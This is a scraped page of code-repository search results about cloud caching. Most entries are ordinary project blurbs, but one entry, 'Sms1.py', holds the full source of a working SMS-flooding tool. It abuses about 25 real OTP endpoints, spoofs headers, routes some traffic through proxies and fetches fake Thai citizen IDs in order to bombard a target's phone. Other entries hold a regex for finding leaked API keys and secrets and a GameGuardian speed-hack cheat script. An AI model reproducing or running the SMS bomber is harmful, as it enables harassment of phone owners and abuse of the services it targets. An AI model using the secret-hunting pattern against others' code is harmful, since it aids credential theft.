145 skills found · Page 5 of 5
kj455 / Turborepo Remote Cache On Google CloudEasy self-hosting and management Turborepo remote cache on Google Cloud.
defcronyke / GodscacheAn unofficial Google Cloud Platform Go Datastore wrapper that adds caching using memcached. For App Engine Flexible, Compute Engine, Kubernetes Engine, and more.
DICL / EXT4oFNVMe-Driven Lazy Cache Coherence for Immutable Data with NVMe over Fabrics [IEEE CLOUD '23]
rubbingalcoholic / Tumblr Tag CloudA simple PHP / MySQL app that serves a cached tag cloud for your Tumblr blogs.
alicanli1995 / Order Project Spring Cloud StackOrder Management System With Spring Cloud And Cache Mechanism With Redis
krompaco / Cloud AcceleratorASP.NET MVC Web Application that can be cloud hosted and act as a caching Reverse Proxy
ronen / DefogWrapper to fog gem, proxying access to cloud files as local files. Access can be read-only (local cache), write-only (upload), or read-write (mirror)
replicate / Cloudflare Image CacheUse Cloudflare and Replicate to generate, cache, and serve images
turhn / Cloudflare Purge CacheCloudFlare API wrapper script for purging caches programmatically.
izackwu / Tencent Cloud Cdn Purge CachePurge Cache for Tencent Cloud CDN
thathoff / Kirby Clear Cloudflare CacheKirby 3 Plugin to Clear Cloudflare Page Cache
ShufanWangBGM / Reinforcement Learning For Dynamic Dimensioning Of Cloud Caches A Restless Bandit ApproachThis repository contains the code used in evaluating the IEEE INFOCOM 2022 and IEEE/ACM Transactions on Networking (TON) 2023 paper titled "Reinforcement Learning for Dynamic Dimensioning of Cloud Caches: A Restless Bandit Approach.
t1mkagaevoy / Android AdaptationDelete Unused Apps: Go to Settings > Apps and uninstall apps you don’t use. Clear Cache: Use Settings > Storage > Cached Data to remove temporary files. Move Files to Cloud or SD Card: Photos, videos, and large files can be stored in Google Drive, OneDrive, or an SD card.
PauloniaAQP / Paulonia Cache ImageFlutter package for cache images in storage or memory from the network or Google Cloud Storage. It supports Android, iOS and Web.
mikaelvesavuori / Cloudflare Workers Render CacheServe ultra-fast, globally available sites or apps by render-caching and asset-proxying on the edge
Ogglord / Docker Rclone MergerfsDocker that sets up an rclone mount with a mergerfs cache - The ambition is a setup that combines local cache with cloud storage and support for hardlinking
shubhdhungana / Grep Search For Secret Private Api Or Other Keys(?i)((access_key|access_token|admin_pass|admin_user|algolia_admin_key|algolia_api_key|alias_pass|alicloud_access_key|amazon_secret_access_key|amazonaws|ansible_vault_password|aos_key|api_key|api_key_secret|api_key_sid|api_secret|api.googlemaps AIza|apidocs|apikey|apiSecret|app_debug|app_id|app_key|app_log_level|app_secret|appkey|appkeysecret|application_key|appsecret|appspot|auth_token|authorizationToken|authsecret|aws_access|aws_access_key_id|aws_bucket|aws_key|aws_secret|aws_secret_key|aws_token|AWSSecretKey|b2_app_key|bashrc password|bintray_apikey|bintray_gpg_password|bintray_key|bintraykey|bluemix_api_key|bluemix_pass|browserstack_access_key|bucket_password|bucketeer_aws_access_key_id|bucketeer_aws_secret_access_key|built_branch_deploy_key|bx_password|cache_driver|cache_s3_secret_key|cattle_access_key|cattle_secret_key|certificate_password|ci_deploy_password|client_secret|client_zpk_secret_key|clojars_password|cloud_api_key|cloud_watch_aws_access_key|cloudant_password|cloudflare_api_key|cloudflare_auth_key|cloudinary_api_secret|cloudinary_name|codecov_token|config|conn.login|connectionstring|consumer_key|consumer_secret|credentials|cypress_record_key|database_password|database_schema_test|datadog_api_key|datadog_app_key|db_password|db_server|db_username|dbpasswd|dbpassword|dbuser|deploy_password|digitalocean_ssh_key_body|digitalocean_ssh_key_ids|docker_hub_password|docker_key|docker_pass|docker_passwd|docker_password|dockerhub_password|dockerhubpassword|dot-files|dotfiles|droplet_travis_password|dynamoaccesskeyid|dynamosecretaccesskey|elastica_host|elastica_port|elasticsearch_password|encryption_key|encryption_password|env.heroku_api_key|env.sonatype_password|eureka.awssecretkey)[a-z0-9_ .\-,]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9a-zA-Z\-_=]{8,64})['\"]
MrStPL-codes / Android Photo Recovery Non RootThe program comes from my archive! (I wrote it a long time ago, my programming style has already changed.) A program that extracts imgcache.0 files from android smartphones. This file contains copies of photos from the gallery. The program is old, but even today you can find this file under a different name. On Xiaomi remi note 5 pro it is the "MIUI / Gallery / cloud / .cache / photo_blob.x" folder. (you need to rename the file to imgcache.0) Sometimes it's the only method to recover deleted photos from android device. It does not require ROOT;)
Chayang223 / Sms1.pyimport requests,json,time, sys import threading, os, time, sys from requests import Session from threading import Thread from re import search from colorama import Fore, init from requests import get os.system('cls') init(convert=True) textcol = f"{Fore.BLACK}" def head(): print(f"""{Fore.RED}\n\n {Fore.RESET} ███████╗██╗ ██████╗ ██████╗ ██████╗ ███████╗███╗ ███╗███████╗ {Fore.RESET} ██╔════╝██║ ██╔═══██╗██╔═══██╗██╔══██╗ ██╔════╝████╗ ████║██╔════╝ {Fore.RESET} █████╗ ██║ ██║ ██║██║ ██║██║ ██║ ███████╗██╔████╔██║███████╗ {Fore.RESET} ██╔══╝ ██║ ██║ ██║██║ ██║██║ ██║ ╚════██║██║╚██╔╝██║╚════██║ {Fore.RESET} ██║ ███████╗╚██████╔╝╚██████╔╝██████╔╝ ███████║██║ ╚═╝ ██║███████║ {Fore.RESET} ╚═╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚══════╝ {Fore.RESET} {Fore.RESET} [ > FLOOD SMS BY WATTHANAPONG < ] {Fore.RESET} {Fore.RESET} [+] | Usage : [PHONE] [AMOUNT] {Fore.RESET} [+] | METHOD : 26 Api """) def clear(): os.system('cls' if os.name == 'nt' else 'clear') def newpage(): clear() head() newpage() print("\n\n") newpage() print("\n\n") num = input (" [!] | Enter PhoneNumber : > ") newpage() print('\n\n') amount = int(input(" [+] | Amount : > ")) session = requests.Session() headers = {"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"} def ig_token(): d=get("https://www.instagram.com/",headers=headers).headers['set-cookie'] d=search("csrftoken=(.*);",d).group(1).split(";") return d[0],d[10].replace(" Secure, ig_did=","") class SMS(): def shopat(phone): requests=Session() requests.headers.update(headers) token=search('<meta name="_csrf" content="(.*)" />',requests.get("https://www.shopat24.com/register/").text).group(1) requests.post("https://www.shopat24.com/register/ajax/requestotp/",data=f"phoneNumber={phone}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8","x-csrf-token": token}).status_code def MCard(PHONE): #MCard TOKEN = search('''<input type="hidden" name="_token" value="(.*)">''', session.get("https://www.mcardmall.com/th/apply/check").text).group(1) session.post("https://www.mcardmall.com/th/apply/check", headers={ "content-type": "application/x-www-form-urlencoded" }, data=f"_token={TOKEN}&mode=check&identity={SMS.CardNumber()}&contact={PHONE}&P0=on&P1=on&P2=on") def CardNumber(): return search( """<td height="50" align="center" valign="top"><input name="sample-citizen-id" type="text" id="sample-citizen-id" value="(.*)" o""", get("http://www.kzynet.com/tools/thai_citizen_id_generator/").text).group(1) def SCGID(PHONE): #SCGID requests.post("https://api.scg-id.com/api/otp/send_otp", headers={ "Content-Type": "application/json;charset=UTF-8"},json={"phone_no": PHONE}) def spam_cp(phone): #CP requests.post('https://cpfmapi.addressasia.com/wp-json/cpfm/v2/customer/get_otp', data = {'phone': phone}) def spam_bacarrat(phone): #VIP requests.post('https://api.baccaratth.com/api/v1/sendotp', data = {'phone_number': phone}) def spam_mooncash(phone): #moon_crash requests.get('http://m.thaiuang.com/uc/authcode/sms/get/reg/'+phone) def p1112(phone): requests.post('https://api2.1112.com/api/v1/otp/create',json={"phonenumber":phone,"language":"th"},headers=headers) def delivery1112(phone): requests.post('https://api.1112delivery.com/api/v1/otp/create',json={"phonenumber":phone,"language":"th"},headers=headers) def ICC(PHONE): #ICC print(Session().post("https://us-central1-otp-service-icc.cloudfunctions.net/getotp", headers={ "Content-Type": "application/json" }, json={"mobile_phone": PHONE,"type":"HISHER"})) def findclone(phone): requests.get(f"https://findclone.ru/register?phone=+66{phone[1:]}",headers={"X-Requested-With" : "XMLHttpRequest","User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36"}).json() def icq(phone): requests.post(f"https://u.icq.net/api/v4/rapi",json={"method":"auth/sendCode","reqId":"24973-1587490090","params":{"phone": f"66{phone[1:]}","language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}},headers=headers) def okru(phone): requests=Session() requests.headers.update({"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38","Content-Type" : "application/x-www-form-urlencoded","Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"}) requests.post("https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone",data=f"st.r.phone=+66{phone[1:]}") requests.post("https://ok.ru/dk?cmd=AnonymRegistrationAcceptCallUI&st.cmd=anonymRegistrationAcceptCallUI",data="st.r.fieldAcceptCallUIButton=Call") def academy(phone): requests.post("https://unacademy.com/api/v3/user/user_check/",json={"phone":phone,"country_code":"TH"},headers=headers).json() def yandex(phone): requests.post("https://taxi.yandex.kz/3.0/launch/",json={},headers=headers).json() requests.post("https://taxi.yandex.kz/3.0/auth/",json={"id": ["id"], "phone": f"+66{phone[1:]}"},headers=headers) def homepro(phone): requests.post("https://www.homepro.co.th/service/user/profile/otp.jsp",data=f"action=otp&user_mobile_number={phone}",headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36","x-csrf-token": "AaqCrWeoDAPdJqmFtCnSCJN8a1mECsPB","content-type": "application/x-www-form-urlencoded; charset=UTF-8","cookie": "h11e_uuid=5da6d569-5a72-4014-afef-40990862f26e; ltcid=4ac7dc78-ae73-4617-ba28-75b31ed3bc9f; ltsid=9b139725-fc38fbcc; _gid=GA1.3.1373861600.1635677257; _fbp=fb.2.1635677258036.1072722582; h11e_data1=ZTE1MWFkY2ZjMDk3ODk1MzhiMzk1MzM0OTc5NDMzMmIzOWEyOGVhNWU3NWU1NzQzODJhODMyM2U1MWI3MGQ0Yzg1MWM4MGEzYjJmMjUwYTUxMThjZGU2YTQ3NzVkNDMy; h11e_lang=th; _dc_gtm_UA-112826849-3=1; h11e_user=N2NlM2E4ODNkYjQxNjcwNTg3YzgxN2UwZWJiMDFkNmU0ZWUzM2M0M2U2YTJmNTkxMzA2NjYxYzU2MTFiNjFjNw==; h11e_csrf=AaqCrWeoDAPdJqmFtCnSCJN8a1mECsPB; JSESSIONID=06E6906132FE92B731D49BFD2F00877D; _ga=GA1.3.106485705.1635677257; _ga_RMXSTMQMK7=GS1.1.1635677253.1.1.1635677348.0"}).json() def AISPlay(PHONE): session = Session() #AISPlay print(session.post("https://srfng.ais.co.th/login/sendOneTimePW", data=f"msisdn=66{PHONE[1:]}&serviceId=AISPlay&accountType=all&otpChannel=sms", headers={"User-Agent": "Mozilla/5.0 (Linux; Android 8.1.0; DUB-LX2 Build/HUAWEIDUB-LX2; wv) " "AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/85.0.4183.127 Mobile Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "authorization": f'''Bearer {search("""<input type="hidden" id='token' value="(.*)">""", session.get( "https://srfng.ais.co.th/Lt6YyRR2Vvz%2B%2F6MNG9xQvVTU0rmMQ5snCwKRaK6rpTruhM%2BDAzuhRQ%3D%3D?redirect_uri=https%3A%2F%2Faisplay.ais.co.th%2Fportal%2Fcallback%2Ffungus%2Fany&httpGenerate=generated", headers={"User-Agent": "Mozilla/5.0 (Linux; Android 8.1.0; DUB-LX2 Build/HUAWEIDUB-LX2; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/85.0.4183.127 Mobile Safari/537.36"}).text).group(1)}'''})) time.sleep(0.5) def prettygame(phone): requests.post("https://prettygaming168-api.auto888.cloud/api/v3/otp/send", data = {"tel":phone,"otp_type":"register"}, headers = {"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36"}, proxies = {"http": "http://182.52.103.144:8080"}) def kaitorasap(phone): requests.post("https://www.kaitorasap.co.th/api/index.php/send-otp/", data="phone_number="+phone+"&lag=", headers={"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8","Cookie": "PHPSESSID=f5nrukmps3fa5gk25eh4v0tgg0; _ga=GA1.3.1240095898.1635597163; _gid=GA1.3.747741928.1635597163; _gat_gtag_UA_141105037_1=1"},proxies = {"http": "http://185.104.252.10:9090"}) def fox888(phone): requests.post("https://www.fox888.com/api/otp/register", data = "applicant="+phone+"&serviceName=FOX888", headers = {"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest"}) def foodland(phone): requests.post("https://shop.foodland.co.th/login/generation", data={"phone": phone}) def shoponline(phone): requests.post("https://shoponline.ondemand.in.th/OtpVerification/VerifyOTP/SendOtp", data = "phone="+phone+"&type=phone&resend=0&pinid=", headers = {"accept": "application/json, text/javascript, */*; q=0.01", "content-type": "application/x-www-form-urlencoded; charset=UTF-8", "x-requested-with": "XMLHttpRequest", "user-agent": "Mozilla/5.0 (Linux; Android 5.1; A1601) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36", "cookie": "sqzllocal=sqzl614a950a0000008a8892;private_content_version=a8f313c36d800596d69c0634f8364ba7;PHPSESSID=0bfasg27occf98ngcr0p3mqlt7;_gcl_au=1.1.1797077583.1635431429;_hjid=16751239-bad6-46a9-b2f0-01bb94d26f2b;sqzl_session_id=617ab409000003ef5950|1635431433.703;_ga=GA1.4.1468961660.1635431432;_gid=GA1.4.108830963.1635431434;_gid=GA1.3.108830963.1635431434;_fbp=fb.2.1635431435074.169114230;sqzl_abs=0;_hjIncludedInPageviewSample=1;_hjAbsoluteSessionInProgress=0;_hjIncludedInSessionSample=1;mage-cache-storage=%7B%7D;mage-cache-storage-section-invalidation=%7B%7D;mage-cache-sessid=true;form_key=Pl5vFXKEPwQqulEz;mage-messages=;recently_viewed_product=%7B%7D;recently_viewed_product_previous=%7B%7D;recently_compared_product=%7B%7D;recently_compared_product_previous=%7B%7D;product_data_storage=%7B%7D;_ga_V7G71JV0ES=GS1.1.1635431429.1.1.1635431596.18;_ga=GA1.3.1468961660.1635431432;section_data_ids=%7B%22messages%22%3A1635431607%2C%22customer%22%3A1635431607%2C%22compare-products%22%3A1635431607%2C%22last-ordered-items%22%3A1635431607%2C%22cart%22%3A1635431742%2C%22directory-data%22%3A1635431607%2C%22instant-purchase%22%3A1635431607%2C%22persistent%22%3A1635431607%2C%22review%22%3A1635431607%2C%22wishlist%22%3A1635431607%2C%22ammessages%22%3A1635431607%2C%22gtm%22%3A1635431607%2C%22recently_viewed_product%22%3A1635431607%2C%22recently_compared_product%22%3A1635431607%2C%22product_data_storage%22%3A1635431607%2C%22paypal-billing-agreement%22%3A1635431607%2C%22checkout-fields%22%3A1635431607%2C%22collection-point-result%22%3A1635431607%7D"}) def wongnai(phone): requests.post('https://www.wongnai.com/_api/guest.json?_v=6.053&locale=th&_a=phoneLogIn', json={f'phoneno={phone}&retrycount=0'}, headers={'"content-type": "application/x-www-form-urlencoded",'}) def instagram(phone): token,_=ig_token() requests.post("https://www.instagram.com/accounts/account_recovery_send_ajax/",data=f"email_or_username=66{phone}&recaptcha_challenge_field=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","X-CSRFToken":token}).json() def instagramv2(phone): token,cid=ig_token() requests.post("https://www.instagram.com/accounts/send_signup_sms_code_ajax/",data=f"client_id={cid}&phone_number=66{phone}&phone_id=&big_blue_token=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","X-CSRFToken":token}).json() def kerry(phone): requests.post("https://th.kerryexpress.com/website-api/api/member/v1/Identity",data = {"phone": phone}, headers = {"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0","content-type": "application/json; charset=utf-8", "Accept": "application/json, text/plain, */*" }) def loop1(): global num SMS.AISPlay(num) print("ATTACK SMS | METHOD : AISPLAY") def loop2(): global num SMS.ICC(num) print("ATTACK SMS | METHOD : ICC") def loop3(): global num SMS.spam_bacarrat(num) print("ATTACK SMS | METHOD : VIP") def loop4(): global num SMS.spam_cp(num) print("ATTACK SMS | METHOD : CP") def loop6(): global num SMS.spam_pizza(num) print("ATTACK SMS | METHOD : PIZZA") def loop7(): global num SMS.SCGID(num) print("ATTACK SMS | METHOD : SCGID") def loop8(): global num SMS.shopat(num) print("ATTACK SMS | METHOD : SHOPAT24") def loop9(): global num SMS.MCard(num) print("ATTACK SMS | METHOD : MCARD") def loop10(): global num SMS.delivery1112(num) print("ATTACK SMS | METHOD : DELIVERY1112") def loop11(): global num SMS.okru(num) print("ATTACK SMS | METHOD : OKURA") def loop12(): global num SMS.icq(num) print("ATTACK SMS | METHOD : ICQ") def loop13(): global num SMS.academy(num) print("ATTACK SMS | METHOD : ACADEMY") def loop14(): global num SMS.yandex(num) print("ATTACK SMS | METHOD : YANDEX") def loop14(): global num SMS.homepro(num) print("ATTACK SMS | METHOD : HOMEPRO") def loop15(): global num SMS.findclone(num) print("ATTACK SMS | METHOD : FINDCLONE") def loop16(): global num SMS.instagram(num) print("ATTACK SMS | METHOD : IG-V1") def loop17(): global num SMS.instagramv2(num) print("ATTACK SMS | METHOD : IG-V2") def loop18(): global num SMS.foodland(num) print("ATTACK SMS | METHOD : FOODLAND") def loop19(): global num SMS.wongnai(num) print("ATTACK SMS | METHOD : WONGNAI") def loop20(): global num SMS.fox888(num) print("ATTACK SMS | METHOD : FOX") def loop21(): global num SMS.wongnai(num) print("ATTACK SMS | METHOD : WONGNAI") def loop22(): global num SMS.shoponline(num) print("ATTACK SMS | METHOD : SHOPONILNE") def loop23(): global num SMS.prettygame(num) print("ATTACK SMS | METHOD : PRETTYGAME") def loop24(): global num SMS.kaitorasap(num) print("ATTACK SMS | METHOD : KAITORASAP") def loop25(): global num SMS.kerry(num) print("ATTACK SMS | METHOD : KERRY") for _ in range(amount): time.sleep(0.60) threading.Thread(target=loop1).start() threading.Thread(target=loop2).start() threading.Thread(target=loop3).start() threading.Thread(target=loop4).start() threading.Thread(target=loop6).start() threading.Thread(target=loop7).start() threading.Thread(target=loop8).start() threading.Thread(target=loop9).start() threading.Thread(target=loop11).start() threading.Thread(target=loop12).start() threading.Thread(target=loop13).start() threading.Thread(target=loop14).start() threading.Thread(target=loop15).start() threading.Thread(target=loop16).start() threading.Thread(target=loop17).start() threading.Thread(target=loop18).start() threading.Thread(target=loop19).start() threading.Thread(target=loop20).start() threading.Thread(target=loop21).start() threading.Thread(target=loop22).start() threading.Thread(target=loop23).start() threading.Thread(target=loop24).start() threading.Thread(target=loop25).start() Code speed hack 1.5x No dead On: gg.setRanges(gg.REGION_ANONYMOUS) gg.clearResults() gg.searchNumber("Q9A9999\"?\"00803FEC51383E", 1) gg.refineNumber("Q9A99993F", 1) gg.getResults(1000) gg.editAll("Q0AD7E33F", 1) gg.toast("✔️ เปิด ✔️") Off:gg.setRanges(gg.REGION_ANONYMOUS) gg.clearResults() gg.searchNumber("Q9A9999\"?\"00803FEC51383E", 1) gg.refineNumber("Q9A99993F", 1) gg.getResults(1000) gg.editAll("Q0AD7E33F", 1) gg.toast("❌ ปิด ❌") Join @NeverDi9998
oracle / Accs Caching Java SDKJava Client Caching SDK for Oracle Application Container Cloud Service